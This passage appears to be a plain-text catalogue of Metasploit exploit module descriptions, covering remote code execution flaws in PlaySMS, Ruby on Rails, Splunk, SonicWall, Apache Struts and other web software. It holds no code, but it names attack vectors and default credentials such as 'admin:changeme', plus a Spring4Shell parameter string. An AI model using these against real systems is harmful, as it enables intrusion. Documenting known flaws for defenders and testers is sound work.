       Name: PlaySMS sendfromfile.php Authenticated "Filename" Field
Code Execution
     Module: exploit/multi/http/playsms_filename_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-21

Payload information:

Description:
  This module exploits a code injection vulnerability within an
authenticated file
  upload feature in PlaySMS v1.4. This issue is caused by improper
file name handling
  in sendfromfile.php file.
  Authenticated Users can upload a file and rename the file with a
malicious payload.
  This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0
machine and Windows 7.

End Exploit Number 782

Begin Exploit Number 783
       Name: PlaySMS index.php Unauthenticated Template Injection Code
Execution
     Module: exploit/multi/http/playsms_template_injection
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-02-05

Payload information:

Description:
  This module exploits a preauth Server-Side Template Injection
vulnerability that leads to remote code execution
  in PlaySMS before version 1.4.3. This issue is caused by double
processing a server-side template with a custom
  PHP template system called 'TPL' which is used in the PlaySMS
template engine at
  `src/Playsms/Tpl.php:_compile()`. The vulnerability is triggered
when an attacker supplied username with a
  malicious payload is submitted. This malicious payload is then
stored in a TPL template which when rendered a
  second time, results in code execution.
  The TPL(https://github.com/antonraharja/tpl) template language is
vulnerable to PHP code injection.

  This module was tested against PlaySMS 1.4 on HackTheBox's Forlic
Machine.

End Exploit Number 783

Begin Exploit Number 784
       Name: PlaySMS import.php Authenticated CSV File Upload Code
Execution
     Module: exploit/multi/http/playsms_uploadcsv_exec
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-21

Payload information:

Description:
  This module exploits an authenticated file upload remote code
excution vulnerability
  in PlaySMS Version 1.4. This issue is caused by improper file
contents handling in
  import.php (aka the Phonebook import feature). Authenticated Users
can upload a CSV
  file containing a malicious payload via vectors involving the User-
Agent HTTP header
  and PHP code in the User-Agent.
  This module was tested against PlaySMS 1.4 on VulnHub's Dina 1.0
machine and Windows 7.

End Exploit Number 784

Begin Exploit Number 785
       Name: Plone and Zope XMLTools Remote Command Execution
     Module: exploit/multi/http/plone_popen2
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-04

Payload information:

Description:
  Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in
Plone 4.0.x
  through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers
to execute
  arbitrary commands via vectors related to the p_ class in OFS/
misc_.py and
  the use of Python modules.

End Exploit Number 785

Begin Exploit Number 786
       Name: PmWiki pagelist.php Remote PHP Code Injection Exploit
     Module: exploit/multi/http/pmwiki_pagelist
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-09

Payload information:
  Space: 4000

Description:
  This module exploits an arbitrary command execution vulnerability
  in PmWiki from 2.0.0 to 2.2.34. The vulnerable function is
  inside /scripts/pagelist.php.

End Exploit Number 786

Begin Exploit Number 787
       Name: PolarBear CMS PHP File Upload Vulnerability
     Module: exploit/multi/http/polarcms_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-21

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a file upload vulnerability found in PolarBear
CMS
  By abusing the upload.php file, a malicious user can upload a file
to a temp
  directory without authentication, which results in arbitrary code
execution.

End Exploit Number 787

Begin Exploit Number 788
       Name: ProcessMaker Open Source Authenticated PHP Code Execution
     Module: exploit/multi/http/processmaker_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-24

Payload information:
  Space: 8190
  Avoid: 1 characters

Description:
  This module exploits a PHP code execution vulnerability in the
  'neoclassic' skin for ProcessMaker Open Source which allows any
  authenticated user to execute PHP code. The vulnerable skin is
  installed by default in version 2.x and cannot be removed via
  the web interface.

End Exploit Number 788

Begin Exploit Number 789
       Name: ProcessMaker Plugin Upload
     Module: exploit/multi/http/processmaker_plugin_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-08-25

Payload information:
  Space: 20000

Description:
  This module will generate and upload a plugin to ProcessMaker
  resulting in execution of PHP code as the web server user.

  Credentials for a valid user account with Administrator roles
  is required to run this module.

  This module has been tested successfully on ProcessMaker versions
  1.6-4276, 2.0.23, 3.0 RC 1, 3.2.0, 3.2.1 on Windows 7 SP 1;
  and version 3.2.0 on Debian Linux 8.

End Exploit Number 789

Begin Exploit Number 790
       Name: qdPM 9.1 Authenticated Arbitrary PHP File Upload (RCE)
     Module: exploit/multi/http/qdpm_authenticated_rce
   Platform: Linux, PHP
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-11-21

Payload information:
  Avoid: 1 characters
```

```
Description:
  A remote code execution (RCE) vulnerability exists in qdPM 9.1 and
earlier.
  An attacker can upload a malicious PHP code file via the profile
photo functionality, by leveraging a path traversal
  vulnerability in the users['photop_preview'] delete photo feature,
allowing bypass of .htaccess protection.
  NOTE: this issue exists because of an incomplete fix for
CVE-2015-3884.

End Exploit Number 790

Begin Exploit Number 791
       Name: qdPM v7 Arbitrary PHP File Upload Vulnerability
     Module: exploit/multi/http/qdpm_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-14

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in qdPM - a web-based
project management
  software. The user profile's photo upload feature can be abused to
upload any
  arbitrary file onto the victim server machine, which allows remote
code execution.
  Please note in order to use this module, you must have a valid
credential to sign
  in.

End Exploit Number 791

Begin Exploit Number 792
       Name: Ruby on Rails ActionPack Inline ERB Code Execution
     Module: exploit/multi/http/rails_actionpack_inline_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-01

Payload information:
```

```
Description:
  This module exploits a remote code execution vulnerability in the
  inline request processor of the Ruby on Rails ActionPack component.
  This vulnerability allows an attacker to process ERB to the inline
  JSON processor, which is then rendered, permitting full RCE within
  the runtime, without logging an error condition.

End Exploit Number 792

Begin Exploit Number 793
       Name: Ruby On Rails DoubleTap Development Mode secret_key_base 
Vulnerability
     Module: exploit/multi/http/rails_double_tap
   Platform: Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-13

Payload information:

Description:
  This module exploits a vulnerability in Ruby on Rails. In 
development mode, a Rails
  application would use its name as the secret_key_base, and can be 
easily extracted by
  visiting an invalid resource for a path. As a result, this allows a 
remote user to
  create and deliver a signed serialized payload, load it by the 
application, and gain
  remote code execution.

End Exploit Number 793

Begin Exploit Number 794
       Name: Ruby on Rails Dynamic Render File Upload Remote Code 
Execution
     Module: exploit/multi/http/rails_dynamic_render_code_exec
   Platform: Linux, BSD
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-10-16

Payload information:

Description:
  This module exploits a remote code execution vulnerability in the
explicit render
  method when leveraging user parameters.
  This module has been tested across multiple versions of Ruby on
Rails.
  The technique used by this module requires the specified
  endpoint to be using dynamic render paths, such as the following
example:

  def show
    render params[:id]
  end

  Also, the vulnerable target will need a POST endpoint for the
TempFile upload, this
  can literally be any endpoint. This module doesnt use the log
inclusion method of
  exploitation due to it not being universal enough. Instead, a new
code injection
  technique was found and used whereby an attacker can upload
temporary image files
  against any POST endpoint and use them for the inclusion attack.
Finally, you only
  get one shot at this if you are testing with the builtin rails
server, use caution.

End Exploit Number 794

Begin Exploit Number 795
       Name: Ruby on Rails JSON Processor YAML Deserialization Code
Execution
     Module: exploit/multi/http/rails_json_yaml_code_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-28

Payload information:

Description:
  This module exploits a remote code execution vulnerability in the
  JSON request processor of the Ruby on Rails application framework.
  This vulnerability allows an attacker to instantiate a remote
object,
  which in turn can be used to execute any ruby code remotely in the
  context of the application. This vulnerability is very similar to
  CVE-2013-0156.
  This module has been tested successfully on RoR 3.0.9, 3.0.19, and
  2.3.15.

  The technique used by this module requires the target to be running
a
  fairly recent version of Ruby 1.9 (since 2011 or so). Applications
  using Ruby 1.8 may still be exploitable using the init_with()
method,
  but this has not been demonstrated.

End Exploit Number 795

Begin Exploit Number 796
       Name: Ruby on Rails Known Secret Session Cookie Remote Code
Execution
     Module: exploit/multi/http/rails_secret_deserialization
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-11

Payload information:

Description:
  This module implements Remote Command Execution on Ruby on Rails
applications.
  Prerequisite is knowledge of the "secret_token" (Rails 2/3) or
"secret_key_base"
  (Rails 4). The values for those can be usually found in the file
  "RAILS_ROOT/config/initializers/secret_token.rb". The module
achieves RCE by
  deserialization of a crafted Ruby Object.

End Exploit Number 796

Begin Exploit Number 797
       Name: Ruby on Rails Web Console (v2) Whitelist Bypass Code
Execution
     Module: exploit/multi/http/rails_web_console_v2_code_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-06-16

Payload information:
```

```
Description:
  This module exploits an IP whitelist bypass vulnerability in the
developer
  web console included with Ruby on Rails 4.0.x and 4.1.x. This module
will also
  achieve code execution on Rails 4.2.x if the attack is launched from
a
  whitelisted IP range.

End Exploit Number 797

Begin Exploit Number 798
       Name: Ruby on Rails XML Processor YAML Deserialization Code
Execution
     Module: exploit/multi/http/rails_xml_yaml_code_exec
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-01-07

Payload information:

Description:
  This module exploits a remote code execution vulnerability in the
XML request
  processor of the Ruby on Rails application framework. This
vulnerability allows
  an attacker to instantiate a remote object, which in turn can be
used to execute
  any ruby code remotely in the context of the application.

  This module has been tested across multiple versions of RoR 3.x and
RoR 2.x

  The technique used by this module requires the target to be running
a fairly recent
  version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8
may still be
  exploitable using the init_with() method, but this has not been
demonstrated.

End Exploit Number 798

Begin Exploit Number 799
       Name: Rocket Servergraph Admin Center fileRequestor Remote Code
Execution
     Module: exploit/multi/http/rocket_servergraph_file_requestor_rce
   Platform: Linux, Unix, Windows
```

```
       Arch: x86, x64, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-10-30

Payload information:
  Space: 8192

Description:
  This module abuses several directory traversal flaws in Rocket
Servergraph Admin
  Center for Tivoli Storage Manager. The issues exist in the
fileRequestor servlet,
  allowing a remote attacker to write arbitrary files and execute
commands with
  administrative privileges. This module has been tested successfully
on Rocket
  ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits
and Ubuntu
  12.04 64 bits.

End Exploit Number 799

Begin Exploit Number 800
       Name: Rudder Server SQLI Remote Code Execution
     Module: exploit/multi/http/rudder_server_sqli_rce
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-16

Payload information:

Description:
  This Metasploit module exploits a SQL injection vulnerability in
  RudderStack's rudder-server, an open source Customer Data Platform
(CDP).
  The vulnerability exists in versions of rudder-server prior to
1.3.0-rc.1.
  By exploiting this flaw, an attacker can execute arbitrary SQL
commands,
  which may lead to Remote Code Execution (RCE) due to the `rudder`
role
  in PostgreSQL having superuser permissions by default.

End Exploit Number 800
```

```
Begin Exploit Number 801
       Name: Sflog! CMS 1.0 Arbitrary File Upload Vulnerability
     Module: exploit/multi/http/sflog_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-06

Payload information:
  Avoid: 1 characters

Description:
  This module exploits multiple design flaws in Sflog 1.0.  By 
default, the CMS has
  a default admin credential of "admin:secret", which can be abused to 
access
  administrative features such as blogs management.  Through the 
management
  interface, we can upload a backdoor that's accessible by any remote 
user, and then
  gain arbitrary code execution.

End Exploit Number 801

Begin Exploit Number 802
       Name: Apache Shiro v1.2.4 Cookie RememberME Deserial RCE
     Module: exploit/multi/http/shiro_rememberme_v124_deserialize
   Platform: Windows, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-06-07

Payload information:

Description:
  This vulnerability allows remote attackers to execute arbitrary code 
on vulnerable
  installations of Apache Shiro v1.2.4. Note that other versions of 
Apache Shiro may
  also be exploitable if the encryption key used by Shiro to encrypt 
rememberMe
  cookies is known.

End Exploit Number 802

Begin Exploit Number 803
```

```
       Name: Shopware createInstanceFromNamedArguments PHP Object
Instantiation RCE
     Module: exploit/multi/http/
shopware_createinstancefromnamedarguments_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-09

Payload information:

Description:
  This module exploits a php object instantiation vulnerability that
can lead to RCE in
  Shopware. An authenticated backend user could exploit the
vulnerability.

  The vulnerability exists in the createInstanceFromNamedArguments
function, where the code
  insufficiently performs whitelist check which can be bypassed to
trigger an object injection.

  An attacker can leverage this to deserialize an arbitrary payload
and write a webshell to
  the target system, resulting in remote code execution.

  Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.

End Exploit Number 803

Begin Exploit Number 804
       Name: Simple Backdoor Shell Remote Code Execution
     Module: exploit/multi/http/simple_backdoors_exec
   Platform: Unix, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-08

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits unauthenticated simple web backdoor shells by
leveraging the
  common backdoor shell's vulnerable parameter  to execute commands.
```

```
The SecLists project of
  Daniel Miessler and Jason Haddix has a lot of samples for these kind
of backdoor shells
  which is categorized under Payloads.

End Exploit Number 804

Begin Exploit Number 805
       Name: Support Incident Tracker Remote Command Execution
     Module: exploit/multi/http/sit_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-11-10

Payload information:

Description:
  This module combines two separate issues within Support Incident
Tracker (<= 3.65)
  application to upload arbitrary data and thus execute a shell. The
two issues exist
  in ftp_upload_file.php.
  The first vulnerability exposes the upload dir used to store
attachments.
  The second vulnerability allows arbitrary file upload since there is
no
  validation function to prevent from uploading any file type.
  Authentication is required to exploit both vulnerabilities.

End Exploit Number 805

Begin Exploit Number 806
       Name: Snortreport nmap.php/nbtscan.php Remote Command Execution
     Module: exploit/multi/http/snortreport_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-09-19

Payload information:

Description:
  This module exploits an arbitrary command execution vulnerability in
  nmap.php and nbtscan.php scripts.
```

```
End Exploit Number 806

Begin Exploit Number 807
       Name: SolarWinds Storage Manager Authentication Bypass
     Module: exploit/multi/http/solarwinds_store_manager_auth_filter
   Platform: Linux, Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-08-19

Payload information:

Description:
  This module exploits an authentication bypass vulnerability in
Solarwinds Storage Manager.
  The vulnerability exists in the AuthenticationFilter, which allows
to bypass authentication
  with specially crafted URLs. After bypassing authentication, is
possible to use a file
  upload function to achieve remote code execution. This module has
been tested successfully
  in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32
bits, Windows 64 bits and
  Linux 64 bits operating systems.

End Exploit Number 807

Begin Exploit Number 808
       Name: Apache Solr Remote Code Execution via Velocity Template
     Module: exploit/multi/http/solr_velocity_rce
   Platform: Linux, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-10-29

Payload information:

Description:
  This module exploits a vulnerability in Apache Solr <= 8.3.0 which
allows remote code execution via a custom
  Velocity template. Currently, this module only supports Solr basic
authentication.

  From the Tenable advisory:
  An attacker could target a vulnerable Apache Solr instance by first
identifying a list
```

```
  of Solr core names. Once the core names have been identified, an 
attacker can send a specially crafted
  HTTP POST request to the Config API to toggle the params resource 
loader value for the Velocity Response
  Writer in the solrconfig.xml file to true. Enabling this parameter 
would allow an attacker to use the Velocity
  template parameter in a specially crafted Solr request, leading to 
RCE.

End Exploit Number 808

Begin Exploit Number 809
       Name: SonicWALL GMS 6 Arbitrary File Upload
     Module: exploit/multi/http/sonicwall_gms_upload
   Platform: Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-17

Payload information:

Description:
  This module exploits a code execution flaw in SonicWALL GMS. It 
exploits two
  vulnerabilities in order to get its objective. An authentication 
bypass in the
  Web Administration interface allows to abuse the "appliance" 
application and upload
  an arbitrary payload embedded in a JSP. The module has been tested 
successfully on
  SonicWALL GMS 6.0.6017 over Windows 2003 SP2 and SonicWALL GMS 
6.0.6022 Virtual
  Appliance (Linux). On the Virtual Appliance the linux meterpreter 
hasn't run
  successfully while testing, shell payload has been used.

End Exploit Number 809

Begin Exploit Number 810
       Name: Dell SonicWALL Scrutinizer 11.01 methodDetail SQL 
Injection
     Module: exploit/multi/http/
sonicwall_scrutinizer_methoddetail_sqli
   Platform: Windows, Linux
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-07-24

Payload information:

Description:
  This module exploits a vulnerability found in Dell SonicWALL 
Scrutinizer. The methodDetail
  parameter in exporters.php allows an attacker to write arbitrary 
files to the file system
  with an SQL Injection attack, and gain remote code execution under 
the context of SYSTEM
  for Windows, or as Apache for Linux.

  Authentication is required to exploit this vulnerability, but this 
module uses
  the default admin:admin credential.

End Exploit Number 810

Begin Exploit Number 811
       Name: Sonicwall
     Module: exploit/multi/http/
sonicwall_shell_injection_cve_2023_34124
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-07-12

Payload information:

Description:
  This module exploits a series of vulnerabilities - including auth
  bypass, SQL injection, and shell injection - to obtain remote code
  execution on SonicWall GMS versions <= 9.9.9320.

End Exploit Number 811

Begin Exploit Number 812
       Name: Splunk Search Remote Code Execution
     Module: exploit/multi/http/splunk_mappy_exec
   Platform: Linux, Unix, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-12-12

Payload information:
  Space: 1024

Description:
  This module abuses a command execution vulnerability in the
  web based interface of Splunk 4.2 to 4.2.4. The vulnerability exists
  in the 'mappy' search command which allows attackers to run Python
code.
  To exploit this vulnerability, a valid Splunk user with the admin
  role is required. By default, this module uses the credential of
"admin:changeme",
  the default Administrator credential for Splunk. Note that the
Splunk web interface
  runs as SYSTEM on Windows and as root on Linux by default.

End Exploit Number 812

Begin Exploit Number 813
       Name: Splunk "edit_user" Capability Privilege Escalation
     Module: exploit/multi/http/
splunk_privilege_escalation_cve_2023_32707
   Platform: Linux, Unix, Windows, OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-06-01

Payload information:
  Space: 1024

Description:
  A low-privileged user who holds a role that has the "edit_user"
capability assigned to it
  can escalate their privileges to that of the admin user by providing
a specially crafted web request.
  This is because the "edit_user" capability does not honor the
"grantableRoles" setting in the authorize.conf
  configuration file, which prevents this scenario from happening.

  This exploit abuses this vulnerability to change the admin password
and login with it to upload a malicious app achieving RCE.

End Exploit Number 813

Begin Exploit Number 814
       Name: Splunk Custom App Remote Code Execution
     Module: exploit/multi/http/splunk_upload_app_exec
   Platform: Linux, Unix, Windows, OSX
       Arch: 
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-09-27

Payload information:
  Space: 1024

Description:
  This module exploits a feature of Splunk whereby a custom 
application can be
  uploaded through the web based interface. Through the 'script' 
search command a
  user can call commands defined in their custom application which 
includes arbitrary
  perl or python code. To abuse this behavior, a valid Splunk user 
with the admin
  role is required. By default, this module uses the credential of 
"admin:changeme",
  the default Administrator credential for Splunk. Note that the 
Splunk web interface
  runs as SYSTEM on Windows, or as root on Linux by default. This 
module has been
  tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
  Version 7.2.4 has been tested successfully against OSX as well

End Exploit Number 814

Begin Exploit Number 815
       Name: Spreecommerce 0.60.1 Arbitrary Command Execution
     Module: exploit/multi/http/spree_search_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-05

Payload information:
  Space: 31337
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability in 
the
  Spreecommerce search. Unvalidated input is called via the
  Ruby send method allowing command execution.

End Exploit Number 815

Begin Exploit Number 816
```

```
       Name: Spreecommerce Arbitrary Command Execution
     Module: exploit/multi/http/spree_searchlogic_exec
   Platform: Linux, Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-04-19

Payload information:
  Space: 31337
  Avoid: 1 characters

Description:
  This module exploits an arbitrary command execution vulnerability in
  the Spreecommerce API searchlogic for versions 0.50.0 and earlier.
  Unvalidated input is called via the Ruby send method allowing
command
  execution.

End Exploit Number 816

Begin Exploit Number 817
       Name: Spring Cloud Function SpEL Injection
     Module: exploit/multi/http/spring_cloud_function_spel_injection
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-03-29

Payload information:

Description:
  Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are
vulnerable to remote code execution due to using
  an unsafe evaluation context with user-provided queries. By crafting
a request to the application and setting
  the spring.cloud.function.routing-expression header, an
unauthenticated attacker can gain remote code
  execution. Both patched and unpatched servers will respond with a
500 server error and a JSON encoded message.

End Exploit Number 817

Begin Exploit Number 818
       Name: Spring Framework Class property RCE (Spring4Shell)
     Module: exploit/multi/http/spring_framework_rce_spring4shell
   Platform: Linux, Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2022-03-31

Payload information:
  Space: 5000

Description:
  Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and 
older versions when running on JDK 9 or above
  and specifically packaged as a traditional WAR and deployed in a 
standalone Tomcat instance are vulnerable
  to remote code execution due to an unsafe data binding used to 
populate an object from request parameters
  to set a Tomcat specific ClassLoader. By crafting a request to the 
application and referencing the
  org.apache.catalina.valves.AccessLogValve class through the 
classLoader with parameters such as the following:

class.module.classLoader.resources.context.parent.pipeline.first.suffi
x=.jsp, an unauthenticated attacker can
  gain remote code execution.

End Exploit Number 818

Begin Exploit Number 819
       Name: Apache Struts 2 Struts 1 Plugin Showcase OGNL Code 
Execution
     Module: exploit/multi/http/struts2_code_exec_showcase
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-07

Payload information:

Description:
  This module exploits a remote code execution vulnerability in the 
Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x 
series. Remote Code Execution can be performed via a malicious field 
value.

End Exploit Number 819

Begin Exploit Number 820
       Name: Apache Struts Jakarta Multipart Parser OGNL Injection
     Module: exploit/multi/http/struts2_content_type_ognl
   Platform: 
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-03-07

Payload information:

Description:
  This module exploits a remote code execution vulnerability in Apache 
Struts
  version 2.3.5 - 2.3.31, and 2.5 - 2.5.10. Remote Code Execution can 
be performed
  via http Content-Type header.

  Native payloads will be converted to executables and dropped in the
  server's temp dir. If this fails, try a cmd/* payload, which won't
  have to write to the disk.

End Exploit Number 820

Begin Exploit Number 821
       Name: Apache Struts 2 Forced Multi OGNL Evaluation
     Module: exploit/multi/http/struts2_multi_eval_ognl
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-09-14

Payload information:

Description:
  The Apache Struts framework, when forced, performs double evaluation 
of attributes' values assigned to certain tags
  attributes such as id. It is therefore possible to pass in a value 
to Struts that will be evaluated again when a
  tag's attributes are rendered. With a carefully crafted request, 
this can lead to Remote Code Execution (RCE).

  This vulnerability is application dependant. A server side template 
must make an affected use of request data to
  render an HTML tag attribute.

End Exploit Number 821

Begin Exploit Number 822
```

```
       Name: Apache Struts 2 Namespace Redirect OGNL Injection
     Module: exploit/multi/http/struts2_namespace_ognl
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-08-22

Payload information:

Description:
  This module exploits a remote code execution vulnerability in Apache
Struts
  version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be
performed
  via an endpoint that makes use of a redirect action.

  Note that this exploit is dependant on the version of Tomcat running
on
  the target.  Versions of Tomcat starting with 7.0.88 currently don't
  support payloads larger than ~7.5kb.  Windows Meterpreter sessions
on
  Tomcat >=7.0.88 are currently not supported.

  Native payloads will be converted to executables and dropped in the
  server's temp dir. If this fails, try a cmd/* payload, which won't
  have to write to the disk.

End Exploit Number 822

Begin Exploit Number 823
       Name: Apache Struts 2 REST Plugin XStream RCE
     Module: exploit/multi/http/struts2_rest_xstream
   Platform: Unix, Python, Linux, Windows
       Arch: cmd, python, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-09-05

Payload information:

Description:
  Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts
2.5.12,
  using the REST plugin, are vulnerable to a Java deserialization
attack
  in the XStream library.
```

```
End Exploit Number 823

Begin Exploit Number 824
       Name: Apache Struts Remote Command Execution
     Module: exploit/multi/http/struts_code_exec
   Platform: Linux, Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-07-13

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
  Apache Struts versions < 2.2.0. This issue is caused by a failure to
properly
  handle unicode characters in OGNL extensive expressions passed to
the web server.

    By sending a specially crafted request to the Struts application
it is possible to
  bypass the "#" restriction on ParameterInterceptors by using OGNL
context variables.
  Bypassing this restriction allows for the execution of arbitrary
Java code.

End Exploit Number 824

Begin Exploit Number 825
       Name: Apache Struts ClassLoader Manipulation Remote Code
Execution
     Module: exploit/multi/http/struts_code_exec_classloader
   Platform: Linux, Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2014-03-06

Payload information:
  Space: 5000

Description:
  This module exploits a remote command execution vulnerability in
Apache Struts versions
  1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is
related with
  the ActionForm bean population mechanism while in case of Struts 2.x
the vulnerability is due
  to the ParametersInterceptor. Both allow access to 'class' parameter
that is directly
  mapped to getClass() method and allows ClassLoader manipulation. As
a result, this can
  allow remote attackers to execute arbitrary Java code via crafted
parameters.

End Exploit Number 825

Begin Exploit Number 826
       Name: Apache Struts Remote Command Execution
     Module: exploit/multi/http/struts_code_exec_exception_delegator
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-06

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
  Apache Struts versions < 2.2.1.1. This issue is caused because the
  ExceptionDelegator interprets parameter values as OGNL expressions
  during certain exception handling for mismatched data types of
properties,
  which allows remote attackers to execute arbitrary Java code via a
  crafted parameter.

End Exploit Number 826

Begin Exploit Number 827
       Name: Apache Struts ParametersInterceptor Remote Code Execution
     Module: exploit/multi/http/struts_code_exec_parameters
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-10-01

Payload information:

Description:
  This module exploits a remote command execution vulnerability in
Apache Struts
  versions < 2.3.1.2. This issue is caused because the
ParametersInterceptor allows
```

```
  for the use of parentheses which in turn allows it to interpret
parameter values as
  OGNL expressions during certain exception handling for mismatched
data types of
  properties which allows remote attackers to execute arbitrary Java
code via a
  crafted parameter.

End Exploit Number 827

Begin Exploit Number 828
       Name: Apache Struts 2 DefaultActionMapper Prefixes OGNL Code
Execution
     Module: exploit/multi/http/struts_default_action_mapper
   Platform: Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-02

Payload information:

Description:
  The Struts 2 DefaultActionMapper supports a method for short-circuit
navigation
  state changes by prefixing parameters with "action:" or "redirect:",
followed by
  a desired navigational target expression. This mechanism was
intended to help with
  attaching navigational information to buttons within forms.

  In Struts 2 before 2.3.15.1 the information following "action:",
"redirect:" or
  "redirectAction:" is not properly sanitized. Since said information
will be
  evaluated as OGNL expression against the value stack, this
introduces the
  possibility to inject server side code.

End Exploit Number 828

Begin Exploit Number 829
       Name: Apache Struts 2 Developer Mode OGNL Execution
